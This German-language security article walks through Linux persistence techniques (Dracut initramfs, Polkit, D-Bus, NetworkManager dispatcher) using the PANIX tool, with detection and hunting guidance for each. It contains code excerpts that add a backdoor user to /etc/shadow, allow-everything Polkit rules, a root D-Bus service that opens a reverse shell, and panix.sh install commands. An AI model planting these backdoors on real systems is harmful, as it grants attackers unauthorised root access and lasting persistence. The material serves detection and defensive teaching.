Dieses Skript stellt sicher, dass beim Erstellen des initramfs mit Dracut das benutzerdefinierte Skript (backdoor-user.sh) eingebettet und so konfiguriert wird, dass es in der Pre-Pivot-Phase während des Bootvorgangs ausgeführt wird. Indem das Skript in der Pre-Pivot-Phase ausgeführt wird, erfolgt die Ausführung, bevor die Kontrolle an das Hauptbetriebssystem übergeben wird, wodurch es Änderungen am echten Root-Dateisystem vornehmen kann.

Nachdem module-setup.sh Ausführungsberechtigungen erteilt wurden, fährt das Modul mit der Erstellung der backdoor-user.sh-Datei fort. Um den vollständigen Inhalt anzuzeigen, inspizieren Sie den Quellcode des Moduls. Die wichtigen Teile sind:

#!/bin/sh

# Remount the real root if it's read-only
mount -o remount,rw /sysroot 2>/dev/null || {
	echo "[dracut] Could not remount /sysroot as RW. Exiting."
	exit 1
}
[...]

if check_user_exists "${username}" /sysroot/etc/shadow; then
    echo "[dracut] User '${username}' already exists in /etc/shadow."
else
    echo "${username}:${escaped_hash}:19000:0:99999:7:::" >> /sysroot/etc/shadow
    echo "[dracut] Added '${username}' to /etc/shadow."
fi

[...]

Zuerst stellt das Skript sicher, dass das Root-Dateisystem (/sysroot) beschreibbar ist. Wenn diese Überprüfung abgeschlossen ist, wird das Skript fortfahren, einen neuen Nutzer hinzuzufügen, indem es die Dateien /etc/shadow, /etc/passwd und /etc/group manuell ändert. Das Wichtigste, das Sie beachten sollten, ist, dass diese Skripte auf integrierten Shell-Hilfsprogrammen basieren, da Dienstprogramme wie grep oder sed in dieser Umgebung nicht verfügbar sind. Nachdem das Skript geschrieben wurde, erhält es Ausführungsrechte und ist einsatzbereit.

Schließlich wird Dracut aufgerufen, um initramfs für die aktuell aktive Kernel-Version neu zu erstellen:

dracut --force /boot/initrd.img-$(uname -r) $(uname -r)

Sobald dieser Schritt abgeschlossen ist, ist das modifizierte initramfs aktiv, und ein Neustart der Maschine führt dazu, dass das backdoor-user.sh-Skript ausgeführt wird.

Wie immer erstellen wir zuerst einen Snapshot und führen dann das Modul aus:

> sudo ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes
[!] Will inject user 'panix' with hashed password <hash> into the initramfs.
[!] Preparing Dracut-based initramfs persistence...
[+] Created dracut module setup script at /usr/lib/dracut/modules.d/99panix/module-setup.sh
[+] Created dracut helper script at /usr/lib/dracut/modules.d/99panix/backdoor-user.sh
[*] Rebuilding initramfs with dracut...
[...]
dracut: *** Including module: panix ***
[...]
[+] Dracut rebuild complete.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot/backup of your system before proceeding.

Und werfen Sie einen Blick auf die in Discover verfügbaren Dokumente:

Bei der Ausführung wird openssl verwendet, um einen Passwort-Hash für das secret-Passwort zu erstellen. Anschließend wird die Verzeichnisstruktur /usr/lib/dracut/modules.d/99panix erstellt, und die Skripte module-setup.sh und backdoor-user.sh werden erstellt und mit Ausführungsberechtigungen versehen. Nachdem die Neugenerierung des Initramfs abgeschlossen ist, wurde die Hintertür installiert und wird beim Neustart aktiv sein.

Werfen wir einen Blick auf die Berichterstattung:

Detection und Endpoint-Regeln, die die Dracut-Initramfs-Persistenz abdecken

Sie können die von PANIX vorgenommenen Änderungen rückgängig machen, indem Sie den folgenden revert-Befehl ausführen:

> ./panix.sh --revert initramfs

[-] No backup initramfs found at /boot/initrd.img-5.15.0-130-generic.bak. Skipping restore.
[!] Removing custom dracut module directory: /usr/lib/dracut/modules.d/99panix...
[+] Custom dracut module directory removed.
[!] Rebuilding initramfs to remove modifications...
[...]
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.

Jagd nach T1542 - Initramfs: Modifikation mit Dracut

Wir können mit ES|QL und OSQuery nach dieser Technik suchen, indem wir uns auf verdächtige Aktivitäten konzentrieren, die mit der Verwendung von Tools wie Dracut verbunden sind. Der Ansatz umfasst das Monitoring der folgenden Punkte:

1. Ausführung von Dracut mit verdächtigen Argumenten: Überwacht Prozesse, bei denen Dracut ausgeführt wird, um initramfs-Dateien zu regenerieren oder zu ändern, insbesondere mit nicht standardmäßigen Argumenten. Dies kann dabei helfen, unautorisierte Versuche zur Modifikation von initramfs zu erkennen.
2. Erstellungen und/oder Änderungen an Dracut-Modulen: Monitort Änderungen innerhalb von /lib/dracut/modules.d/ und /usr/lib/dracut/modules.d/, die benutzerdefinierte und systemweite Dracut-Module speichern. Unerlaubte Änderungen hier können auf Versuche hinweisen, bösartige Funktionen beizubehalten.
3. Allgemeine Indikatoren für Kernel-Manipulationen: Es werden Abfragen wie das Monitoring von secureboot, kernel_info und Dateiänderungen innerhalb von /boot/ genutzt, um umfassendere Anzeichen einer Kernel- und Bootloader-Manipulation zu erkennen, die mit einem möglichen Missbrauch von Initramfs zusammenhängen könnten.

Durch die Kombination der Hunt-Regeln Persistenz via Initramfs und Allgemeine Kernel-Manipulation mit den oben aufgeführten maßgeschneiderten Erkennungsabfragen können Sie T1542 effektiv identifizieren und darauf reagieren.

T1543 – Systemprozess erstellen oder modifizieren: PolicyKit

PolicyKit (oder Polkit) ist ein Systemdienst, der ein Autorisierungs-Framework für die Verwaltung privilegierter Aktionen in Linux-Systemen bereitstellt. Er ermöglicht eine fein abgestufte Kontrolle über systemweite Privilegien, sodass nicht privilegierte Prozesse sicher mit privilegierten Prozessen interagieren können. Polkit fungiert als Vermittler zwischen Systemdiensten und Nutzern und ermittelt, ob ein Nutzer zur Durchführung bestimmter Aktionen berechtigt ist. Zum Beispiel regelt er, ob ein Nutzer Netzwerkdienste neu starten oder Software installieren kann, ohne vollständige sudo-Berechtigungen zu benötigen.

Die Polkit-Autorisierung wird durch Regeln, Aktionen und Autorisierungsrichtlinien bestimmt:

• Aktionen: Diese werden in XML-Dateien (.policy) definiert und spezifizieren die Vorgänge, die Polkit verwalten kann, wie zum Beispiel org.freedesktop.systemd1.manage-units.
• Regeln: JavaScript-ähnliche Dateien (.rules) bestimmen, wie die Berechtigung für bestimmte Aktionen erteilt wird. Sie können Nutzergruppen, Umgebungsvariablen oder andere Bedingungen überprüfen.
• Autorisierungsrichtlinien: .pkla-Dateien legen Standard- oder Benutzer-/Gruppenautorisierungen für Aktionen fest und bestimmen, ob eine Authentifizierung erforderlich ist.

Die von Polkit verwendeten Konfigurationsdateien befinden sich an verschiedenen Speicherorten, abhängig von der auf dem System vorhandenen Polkit-Version und der aktiven Linux-Distribution. Die Hauptstandorte, die Sie kennen sollten:

• Aktionsdefinitionen:
  • /usr/share/polkit-1/actions/
• Regeldefinitionen:
  • /etc/polkit-1/rules.d/
  • /usr/share/polkit-1/rules.d/
• Autorisierungsdefinitionen:
  • /etc/polkit-1/localauthority/
  • /var/lib/polkit-1/localauthority/

Eine Polkit-.rules-Datei definiert die Logik für das Gewähren oder Verweigern spezifischer Aktionen. Diese Dateien bieten Flexibilität bei der Bestimmung, ob ein Nutzer oder ein Prozess eine Aktion ausführen kann. Hier ein einfaches Beispiel:

polkit.addRule(function(action, subject) {
    if (action.id == "org.freedesktop.systemd1.manage-units" &&
        subject.isInGroup("servicemanagers")) {
        return polkit.Result.YES;
    }
    return polkit.Result.NOT_HANDLED;
});

In dieser Regel:

• Die Aktion org.freedesktop.systemd1.manage-units (Verwaltung von systemd-Diensten) wird den Nutzern in der Gruppe servicemanagers gewährt.
• Andere Aktionen greifen auf die Standardverarbeitung zurück.

Diese Struktur ermöglicht es Administratoren, benutzerdefinierte Richtlinien zu implementieren, öffnet jedoch auch die Tür für Angreifer, die zu freizügige Regeln einfügen können, um sich unberechtigte Zugriffsrechte zu verschaffen.

Derzeit hat Polkit keine spezifische Technik im MITRE ATT&CK-Framework. Die nächste Übereinstimmung ist T1543: Create or Modify System Process, die beschreibt, wie Gegner systemweite Prozesse modifizieren, um Persistenz oder Privilegienerweiterung zu erreichen.

Im nächsten Abschnitt werden wir Schritt für Schritt untersuchen, wie Angreifer bösartige Polkit-Regeln und Autorisierungsdateien erstellen und einsetzen können, während wir gleichzeitig Erkennungs- und Abwehrstrategien diskutieren.

Persistenz durch T1543 – Erstellen oder Ändern von Systemprozessen: PolicyKit

Nun, da wir die Theorie verstanden haben, lassen Sie uns einen Blick darauf werfen, wie dies in der Praxis durch das PANIX-Modul setup_polkit.sh simuliert werden kann. Zuerst überprüft das Modul die aktive Polkit-Version mit dem Befehl pkaction --version, da Versionen < 0.106 die älteren .pkla-Dateien verwenden, während neuere Versionen (>= 0.106) die neueren .rules-Dateien verwenden. Je nach Version wird das Modul weiterhin die Polkit-Richtlinie erstellen, die zu großzügig ist. Für Versionen < 0.106 wird eine .pkla-Datei in /etc/polkit-1/localauthority/50-local.d/ erstellt:

mkdir -p /etc/polkit-1/localauthority/50-local.d/

# Write the .pkla file
cat <<-EOF > /etc/polkit-1/localauthority/50-local.d/panix.pkla
[Allow Everything]
Identity=unix-user:*
Action=*
ResultAny=yes
ResultInactive=yes
ResultActive=yes
EOF

Erlauben Sie jedem unix-user, jede Aktion über die Parameter Identity=unix-user:* und Action=* auszuführen.

Für Versionen >= 0,106 wird eine .rules-Datei in /etc/polkit-1/rules.d/ erstellt:

mkdir -p /etc/polkit-1/rules.d/

# Write the .rules file
cat <<-EOF > /etc/polkit-1/rules.d/99-panix.rules
polkit.addRule(function(action, subject) {
	return polkit.Result.YES;
});
EOF

Wo eine übermäßig freizügige Richtlinie immer polkit.Result.YES zurückgibt, was bedeutet, dass jede Aktion, die eine Authentifizierung durch Polkit erfordert, von jedem erlaubt wird.

Polkit-Regeln werden in lexikografischer Reihenfolge (ASCII) verarbeitet, was bedeutet, dass Dateien mit niedrigeren Nummern zuerst geladen werden und spätere Regeln frühere überschreiben können. Wenn zwei Regeln dieselbe Richtlinie ändern, hat die Regel mit der höheren Nummer Vorrang, da sie zuletzt ausgewertet wird. Um sicherzustellen, dass die Regel ausgeführt wird und andere überschreibt, erstellt PANIX sie mit einem Dateinamen, der mit 99 beginnt (z. B. 99-panix.rules1.)

Lassen Sie uns das PANIX-Modul mit den folgenden Befehlszeilen-Argumenten ausführen:

> sudo ./panix.sh --polkit

[!] Polkit version < 0.106 detected. Setting up persistence using .pkla files.
[+] Persistence established via .pkla file.
[+] Polkit service restarted.
[!] Run pkexec su - to test the persistence.

Und schauen Sie sich die Logs in Kibana an:

Nach der Ausführung von PANIX können wir sehen, dass der Befehl pkaction --version ausgegeben wird, um festzustellen, ob ein .pkla- oder .rules-Dateiansatz erforderlich ist. Nachdem dies herausgefunden wurde, wird die korrekte Richtlinie erstellt, und der Dienst polkit wird neu gestartet (dies ist jedoch nicht immer erforderlich). Sobald diese Richtlinien in Kraft sind, kann ein user mit einem user.Ext.real.id von 1000 (nicht-root) Root-Rechte erlangen, indem er den Befehl pkexec su - ausführt.

Lassen Sie uns einen Blick auf unsere Erkennungsmöglichkeiten werfen:

Detection und Endpoint-Regeln, die die Polkit-Persistenz abdecken

Um Änderungen rückgängig zu machen, können Sie das entsprechende Rücksetzmodul verwenden, indem Sie es ausführen:

> ./panix.sh --revert polkit

[+] Checking for .pkla persistence file...
[+] Removed file: /etc/polkit-1/localauthority/50-local.d/panix.pkla
[+] Checking for .rules persistence file...
[-] .rules file not found: /etc/polkit-1/rules.d/99-panix.rules
[+] Restarting polkit service...
[+] Polkit service restarted successfully.

Suche nach T1543 – Systemprozess erstellen oder modifizieren: PolicyKit

Wir können mit ES|QL und OSQuery nach dieser Technik suchen, indem wir uns auf verdächtige Aktivitäten konzentrieren, die mit der Änderung der PolicyKit-Konfigurationsdateien und -Regeln verbunden sind. Der Ansatz umfasst die Jagd nach Folgendem:

1. Erstellungen und/oder Änderungen an PolicyKit-Konfigurationsdateien: Verfolgt Änderungen in kritischen Verzeichnissen, die benutzerdefinierte und systemweite Regeln, Aktionsbeschreibungen und Autorisierungsregeln enthalten. Monitoring dieser Pfade hilft dabei, unbefugte Ergänzungen oder Manipulationen zu erkennen, die auf bösartige Aktivitäten hindeuten könnten.
2. Metadatenanalyse von PolicyKit-Dateien: Untersucht Dateibesitz, Zugriffszeiten und Änderungszeitstempel für PolicyKit-bezogene Dateien. Unerlaubte Änderungen oder Dateien mit unerwarteten Besitzverhältnissen können auf einen Versuch hinweisen, Privilegien über PolicyKit zu erhalten oder auszuweiten.
3. Erkennung seltener oder anomaler Ereignisse: Identifiziert seltene oder anomale Dateiänderungs- oder -erstellungsereignisse, indem die Ausführung von Prozessen und deren Korrelation mit Dateiaktivitäten analysiert werden. Dies hilft dabei, subtile Indikatoren für Kompromittierungen aufzudecken.

Durch die Kombination der Persistenz via PolicyKit-Hunting-Regel mit den oben aufgeführten maßgeschneiderten Erkennungsabfragen können Analysten T1543 effektiv identifizieren und darauf reagieren.

T1543 - Systemprozess erstellen oder ändern: D-Bus

D-Bus (Desktop Bus) ist ein Interprozesskommunikationssystem (IPC), das in Linux und anderen Unix-ähnlichen Betriebssystemen weit verbreitet ist. Es fungiert als strukturierter Nachrichtenbus, der es Prozessen, Systemdiensten und Anwendungen ermöglicht, zu kommunizieren und Aktionen zu koordinieren. Als Eckpfeiler moderner Linux-Umgebungen bietet D-Bus das Framework für die systemweite und benutzerspezifische Kommunikation.

Im Kern erleichtert D-Bus die Interaktion zwischen Prozessen, indem es einen standardisierten Mechanismus zum Senden und Empfangen von Nachrichten bereitstellt, wodurch die Notwendigkeit benutzerdefinierter IPC-Lösungen entfällt und gleichzeitig Effizienz und Sicherheit verbessert werden. Es arbeitet über zwei primäre Kommunikationskanäle:

• Systembus: Wird für die Kommunikation zwischen Systemdiensten und privilegierten Operationen verwendet, wie z. B. die Verwaltung von Hardware- oder Netzwerkkonfigurationen.
• Session Bus: Wird für die Kommunikation zwischen Anwendungen auf Nutzerebene verwendet, wie z. B. Desktop-Benachrichtigungen oder Mediaplayer.

Ein D-Bus-Daemon verwaltet den Nachrichtenbus und stellt sicher, dass Nachrichten sicher zwischen Prozessen weitergeleitet werden. Prozesse registrieren sich mit eindeutigen Namen auf dem Bus und bieten Schnittstellen an, die Methoden, Signale und Eigenschaften enthalten, mit denen andere Prozesse interagieren können. Die Kernkomponenten der D-Bus-Kommunikation sehen wie folgt aus:

Schnittstellen:

• Definieren eine Sammlung von Methoden, Signalen und Eigenschaften, die ein Dienst bereitstellt.
• Beispiel: org.freedesktop.NetworkManager bietet Methoden zum Verwalten von Netzwerkverbindungen.

Methoden:

• Erlauben Sie externen Prozessen, spezifische Aktionen auszuführen oder Informationen anzufordern.
• Beispiel: Die Methode org.freedesktop.NetworkManager.Reload kann aufgerufen werden, um einen Netzwerkdienst neu zu laden.

Signale:

• Benachrichtigungen, die von einem Dienst gesendet werden, um andere Prozesse über Ereignisse zu informieren.
• Beispiel: Ein Signal könnte auf eine Änderung des Netzwerkverbindungsstatus hinweisen.

Als Beispiel sendet der folgende Befehl eine Nachricht an den Systembus, um die Methode Reload des Dienstes NetworkManager aufzurufen:

dbus-send --system --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Reload uint32:0

D-Bus-Dienste sind Anwendungen oder Daemons, die sich am Bus registrieren, um Funktionalität bereitzustellen. Falls ein angeforderter Dienst nicht läuft, kann der D-Bus-Daemon ihn automatisch mit vordefinierten Dienstdateien starten.

Diese Dienste verwenden Servicedateien mit der Erweiterung .service, um D-Bus mitzuteilen, wie ein Dienst gestartet werden soll. Zum Beispiel:

[D-BUS Service]
Name=org.freedesktop.MyService
Exec=/usr/bin/my-service
User=root

D-Bus-Dienstdateien können sich an verschiedenen Standorten befinden, abhängig davon, ob diese Dienste systemweit oder auf Nutzerebene ausgeführt werden, sowie von der Architektur und der Linux-Distribution. Im Folgenden finden Sie einen Überblick über die verwendeten Speicherorte, der nicht vollständig ist, da verschiedene Distributionen unterschiedliche Standardspeicherorte verwenden:

1. Systemweite Konfiguration und Dienste:
   • Systemdienstdateien:
     • /usr/share/dbus-1/system-services/
     • /usr/local/share/dbus-1/system-services/
   • Systemrichtliniendateien:
     • /etc/dbus-1/system.d/
     • /usr/share/dbus-1/system.d/
   • Systemkonfigurationsdateien:
     • /etc/dbus-1/system.conf
     • /usr/share/dbus-1/system.conf
2. Sitzungsweite Konfiguration und Dienste:
   • Sitzungsdienstdateien:
     • /usr/share/dbus-1/session-services/
     • ~/.local/share/dbus-1/services/
   • Dateien mit Sitzungsrichtlinien:
     • /etc/dbus-1/session.d/
     • /usr/share/dbus-1/session.d/
   • Konfigurationsdateien für Sitzungen:
     • /etc/dbus-1/session.conf
     • /usr/share/dbus-1/session.conf

Weitere Details zu jedem Pfad sind hier verfügbar. D-Bus-Richtlinien, die in XML geschrieben sind, definieren Zugriffskontrollregeln für D-Bus-Dienste. Diese Richtlinien legen fest, wer Aktionen wie das Senden von Nachrichten, das Empfangen von Reaktionen oder den Besitz bestimmter Dienste ausführen darf. Sie sind unerlässlich, um den Zugriff auf privilegierte Operationen zu kontrollieren und sicherzustellen, dass die Dienste nicht missbraucht werden. Eine D-Bus-Richtlinie besteht aus mehreren Schlüsselkomponenten:

1. Kontext:

• Richtlinien können auf bestimmte Nutzer, Gruppen oder einen Standardkontext angewendet werden (default gilt für alle Nutzer, sofern sie nicht überschrieben werden).

2. Erlauben/Verweigern-Regeln:

• Regeln gewähren (allow) oder beschränken (deny) explizit den Zugriff auf Methoden, Schnittstellen oder Dienste.

3. Granularität:

• Richtlinien können den Zugriff auf verschiedenen Ebenen steuern:
  • Komplette Dienste (z. B. org.freedesktop.MyService).
  • Spezifische Methoden oder Schnittstellen (z. B. org.freedesktop.MyService.SecretMethod).

Das folgende Beispiel zeigt eine D-Bus-Richtlinie, die klare Zugriffsbeschränkungen durchsetzt:

<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
  "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
    <!-- Default policy: Deny all access -->
    <policy context="default">
        <deny send_destination="org.freedesktop.MyService"/>
    </policy>

    <!-- Allow only users in the "admin" group to access specific methods -->
    <policy group="admin">
        <allow send_interface="org.freedesktop.MyService.PublicMethod"/>
    </policy>

    <!-- Allow root to access all methods -->
    <policy user="root">
        <allow send_destination="org.freedesktop.MyService"/>
    </policy>
</busconfig>

Diese Richtlinie:

1. Verweigert standardmäßig jeglichen Zugriff auf den Dienst org.freedesktop.MyService.
2. Gewährt Nutzern in der Gruppe admin Zugriff auf eine spezifische Schnittstelle (org.freedesktop.MyService.PublicMethod).
3. Gewährt dem Nutzer root vollen Zugriff auf das Ziel org.freedesktop.MyService.

Die zentrale Rolle von D-Bus in der IPC macht es zu einem potenziell interessanten Ziel für Angreifer. Zu den potenziellen Angriffsvektoren gehören:

1. Hijacking oder Registrierung schädlicher Dienste:
   • Angreifer können .service Dateien ersetzen oder hinzufügen, z. B. /usr/share/dbus-1/system-services/ um legitime Kommunikation zu kapern oder schädlichen Code einzuschleusen.
2. Erstellen oder Ausnutzen von übermäßig freizügigen Richtlinien:
   • Schwache Richtlinien (z. B. allen Benutzern Zugriff auf kritische Dienste gewähren) können es Angreifern ermöglichen, privilegierte Methoden aufzurufen.
3. Missbrauch von anfälligen Diensten:
   • Wenn ein D-Bus-Dienst Eingaben nicht ordnungsgemäß validiert, können Angreifer beliebigen Code ausführen oder unbefugte Aktionen durchführen.

Die oben genannten Beispiele können für Privilegieneskalation, Umgehung der Verteidigung und Persistenz verwendet werden. Derzeit gibt es keine spezifische MITRE ATT&CK-Subtechnik für D-Bus. Sein Missbrauch steht jedoch in engem Zusammenhang mit T1543: Erstellen oder Ändern von Systemprozessen sowie T1574: Ausführungsablauf manipulieren für Fälle, in denen .service-Dateien geändert werden.

Im nächsten Abschnitt werden wir untersuchen, wie ein Angreifer übermäßig freizügige D-Bus-Konfigurationen einrichten kann, die umgekehrte Verbindungen mit Root-Berechtigungen senden, während wir Ansätze zur Erkennung dieses Verhaltens erörtern.

Persistenz durch T1543 – Erstellen oder Ändern von Systemprozessen: D-Bus

Nachdem wir nun alles über die D-Bus-Einrichtung gelernt haben, ist es an der Zeit, einen Blick darauf zu werfen, wie dies in der Praxis mit dem PANIX-Modul setup_dbus.sh simuliert werden kann. PANIX beginnt damit, eine D-Bus-Servicedatei bei /usr/share/dbus-1/system-services/org.panix.persistence.service mit folgendem Inhalt zu erstellen:

cat <<'EOF' > "$service_file"
[D-BUS Service]
Name=org.panix.persistence
Exec=/usr/local/bin/dbus-panix.sh
User=root
EOF

Diese Servicedatei wird auf der org.panix.persistence-Schnittstelle lauschen und den /usr/local/bin/dbus-panix.sh-„Dienst“ ausführen. Das dbus-panix.sh-Skript stellt einfach eine Reverse-Shell-Verbindung her, wenn es aufgerufen wird:

cat <<EOF > "$payload_script"
#!/bin/bash
# When D-Bus triggers this service, execute payload.
${payload}
EOF

Um sicherzustellen, dass jeder Benutzer die Aktionen ausführen kann, die der Schnittstelle zugeordnet sind, erstellt PANIX eine /etc/dbus-1/system.d/org.panix.persistence.conf-Datei mit folgendem Inhalt:

cat <<'EOF' > "$conf_file"
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
	"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
	<!-- Allow any user to own, send to, and access the specified service -->
	<policy context="default">
		<allow own="org.panix.persistence"/>
		<allow send_destination="org.panix.persistence"/>
		<allow send_interface="org.panix.persistence"/>
	</policy>
</busconfig>
EOF

Diese Konfiguration definiert eine D-Bus-Richtlinie, die es jedem Nutzer oder Prozess ermöglicht, den org.panix.persistence-Dienst zu besitzen, Nachrichten an ihn zu senden und mit ihm zu interagieren, wodurch praktisch uneingeschränkter Zugriff darauf gewährt wird. Nach dem Neustart des dbus-Dienstes ist die Einrichtung abgeschlossen.

Um mit dem Dienst zu interagieren, kann der folgende Befehl verwendet werden:

dbus-send --system --type=method_call /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method

Dieser Befehl sendet einen Methodenaufruf an den D-Bus-Systembus, der auf den Dienst org.panix.persistence abzielt, die Methode org.panix.persistence.Method auf dem Objekt /org/panix/persistence aufruft und dadurch die Hintertür effektiv auslöst.

Lassen Sie uns das PANIX-Modul mit den folgenden Befehlszeilen-Argumenten ausführen:

> sudo ./panix.sh --dbus --default --ip 192.168.1.100 --port 2016

[+] Created/updated D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service
[+] Created/updated payload script: /usr/local/bin/dbus-panix.sh
[+] Created/updated D-Bus config file: /etc/dbus-1/system.d/org.panix.persistence.conf
[!] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence module completed. Test with:

dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method

Beim Ausführen des dbus-send-Befehls:

dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method

Werfen wir einen Blick auf die Dokumente in Kibana:

Nach der Ausführung von PANIX werden die Dateien org.panix.persistence.service, dbus-panix.sh und org.panix.persistence.conf erstellt, wodurch erfolgreich die Voraussetzungen geschaffen werden. Anschließend wird der dbus-Dienst neu gestartet, und der Befehl dbus-send wird ausgeführt, um mit dem org.panix.persistence-Dienst zu interagieren. Beim Aufruf der org.panix.persistence.Method-Methode wird die dbus-panix.sh-Backdoor ausgeführt, und die Reverse-Shell-Verbindungskette (dbus-panix.sh → nohup → setsid → bash) wird initiiert.

Lassen Sie uns einen Blick auf unsere Erkennungsmöglichkeiten werfen:

Erkennungs- und Endpoint-Regeln, die die D-Bus-Persistenz abdecken

Um Änderungen rückgängig zu machen, können Sie das entsprechende Rücksetzmodul verwenden, indem Sie es ausführen:

> ./panix.sh --revert dbus

[*] Reverting D-Bus persistence module...
[+] Removing D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service...
[+] D-Bus service file removed.
[+] Removing payload script: /usr/local/bin/dbus-panix.sh
[+] Payload script removed.
[+] Removing D-Bus configuration file: /etc/dbus-1/system.d/org.panix.persistence.conf...
[+] D-Bus configuration file removed.
[*] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence reverted.

Auf der Suche nach T1543 – Systemprozess erstellen oder ändern: D-Bus

Wir können mit ES|QL und OSQuery nach dieser Technik suchen, indem wir uns auf verdächtige Aktivitäten konzentrieren, die mit der Nutzung und Modifikation von D-Bus-bezogenen Dateien, Diensten und Prozessen verbunden sind. Der Ansatz umfasst das Monitoring der folgenden Punkte:

1. Erstellung und/oder Änderung von D-Bus-Konfigurations- und Servicedateien: Verfolgt Änderungen in kritischen Verzeichnissen, wie z. B. systemweite und Sitzungsdienstdateien sowie Richtliniendateien. Monitoring dieser Pfade hilft dabei, unautorisierte Hinzufügungen oder Änderungen zu erkennen, die auf böswillige Aktivitäten abzielen könnten, die D-Bus betreffen.
2. Metadatenanalyse von D-Bus-Dateien: Untersucht den Dateibesitz, die letzten Zugriffszeiten und die Änderungszeitstempel für D-Bus-Konfigurationsdateien. Dies kann nicht autorisierte Änderungen oder das Vorhandensein unerwarteter Dateien aufdecken, die auf Versuche hindeuten, über D-Bus zu persistieren.
3. Erkennung verdächtiger Prozesse: Überwacht die Ausführung von Prozessen wie dbus-daemon und dbus-send, die wesentliche Komponenten der D-Bus-Kommunikation darstellen. Durch das Verfolgen von Befehlszeilen, übergeordneten Prozessen und Ausführungszahlen kann eine ungewöhnliche oder nicht autorisierte Nutzung erkannt werden.
4. Erkennung seltener oder anomaler Ereignisse: Identifiziert ungewöhnliche Dateiänderungen oder Prozessausführungen durch die Korrelation von Ereignisdaten über Endpunkte hinweg. Dies hebt subtile Anzeichen für eine Kompromittierung hervor, wie seltene Änderungen an kritischen D-Bus-Konfigurationen oder die unerwartete Nutzung von D-Bus-Befehlen.

Durch die Kombination der Persistenz via Desktop Bus (D-Bus)-Hunting-Regel mit den oben aufgeführten maßgeschneiderten Erkennungsabfragen können Analysten T1543 effektiv identifizieren und darauf reagieren.

T1546 – Ereignisgesteuerte Ausführung: NetworkManager

NetworkManager ist ein weit verbreiteter Daemon zur Verwaltung von Netzwerkverbindungen auf Linux-Systemen. Er ermöglicht die Konfiguration von kabelgebundenen, drahtlosen, VPN- und anderen NetzwerkSchnittstellen und bietet gleichzeitig ein modulares und erweiterbares Design. Eine seiner weniger bekannten, aber leistungsstarken Funktionen ist die Dispatcher-Funktion, die eine Möglichkeit bietet, Skripte automatisch als Reaktion auf Netzwerkereignisse auszuführen. Wenn bestimmte Netzwerkereignisse eintreten (z. B. wenn eine Schnittstelle aktiviert oder deaktiviert wird), ruft NetworkManager Skripte auf, die sich in diesem Verzeichnis befinden. Diese Skripte werden als Root ausgeführt, wodurch sie über hohe Berechtigungen verfügen.

• Ereignistypen: NetworkManager übergibt spezifische Ereignisse an Skripte, wie zum Beispiel:
  • up: Die Schnittstelle ist aktiviert.
  • down: Die Schnittstelle ist deaktiviert.
  • vpn-up: Die VPN-Verbindung ist hergestellt.
  • vpn-down: Die VPN-Verbindung ist getrennt.

Skripte, die in /etc/NetworkManager/dispatcher.d/ platziert sind, sind Standard-Shell-Skripte und müssen als ausführbar markiert werden. Ein Beispiel für ein Dispatcher-Skript könnte so aussehen:

#!/bin/bash
INTERFACE=$1
EVENT=$2

if [ "$EVENT" == "up" ]; then
    logger "Interface $INTERFACE is up. Executing custom script."
    # Perform actions, such as logging, mounting, or starting services
    /usr/bin/some-command --arg value
elif [ "$EVENT" == "down" ]; then
    logger "Interface $INTERFACE is down. Cleaning up."
    # Perform cleanup actions
fi

Ereignisse protokollieren und Befehle ausführen, sobald eine Netzwerkschnittstelle aktiviert oder deaktiviert wird.

Um mit dieser Technik Persistenz zu erreichen, kann ein Angreifer entweder:

• Erstellen Sie ein benutzerdefiniertes Skript, machen Sie es ausführbar und legen Sie es im Dispatcher-Verzeichnis ab
• Ein legitimes Dispatcher-Skript modifizieren, um bei einem bestimmten Netzwerkereignis eine Nutzlast auszuführen.

Die Persistenz durch dispatcher.d/ stimmt mit T1546: Ereignisgesteuerte Ausführung und T1543: Erstellen oder Ändern eines Systemprozesses im MITRE ATT&CK-Framework überein. NetworkManager-Dispatcher-Skripte haben jedoch keine eigene Untertechnik.

Im nächsten Abschnitt werden wir untersuchen, wie Dispatcher-Skripte für die Persistenz ausgenutzt werden können und den Prozessablauf visualisieren, um eine effektive Erkennungserstellung zu unterstützen.

Persistenz durch T1546 – Ereignisgesteuerte Ausführung:

Das Konzept dieser Technik ist sehr einfach, lassen Sie uns es jetzt mit dem PANIX-Modul setup_network_manager.sh in die Praxis umsetzen. Das Modul überprüft, ob das NetworkManager-Paket verfügbar ist und ob der Pfad /etc/NetworkManager/dispatcher.d/ existiert, da dies Voraussetzungen sind, damit die Technik funktioniert. Als Nächstes wird eine neue Dispatcher-Datei unter /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh erstellt, mit einer Nutzlast am Ende. Schließlich erteilt es der Dispatcher-Datei Ausführungsrechte, woraufhin sie aktiviert werden kann.

cat <<'EOF' > "$dispatcher_file"
#!/bin/sh -e

if [ "$2" = "connectivity-change" ]; then
	exit 0
fi

if [ -z "$1" ]; then
	echo "$0: called with no interface" 1>&2
	exit 1
fi

[...]

# Insert payload here:
__PAYLOAD_PLACEHOLDER__
EOF

chmod +x "$dispatcher_file"

Wir haben nur die relevantesten Ausschnitte des Moduls oben eingefügt. Fühlen Sie sich frei, den Quellcode des Moduls anzusehen, wenn Sie tiefer in das Thema eintauchen möchten.

Lassen Sie uns das PANIX-Modul mit den folgenden Befehlszeilen-Argumenten ausführen:

> sudo ./panix.sh --network-manager --default --ip 192.168.1.100 --port 2017

[+] Created new dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
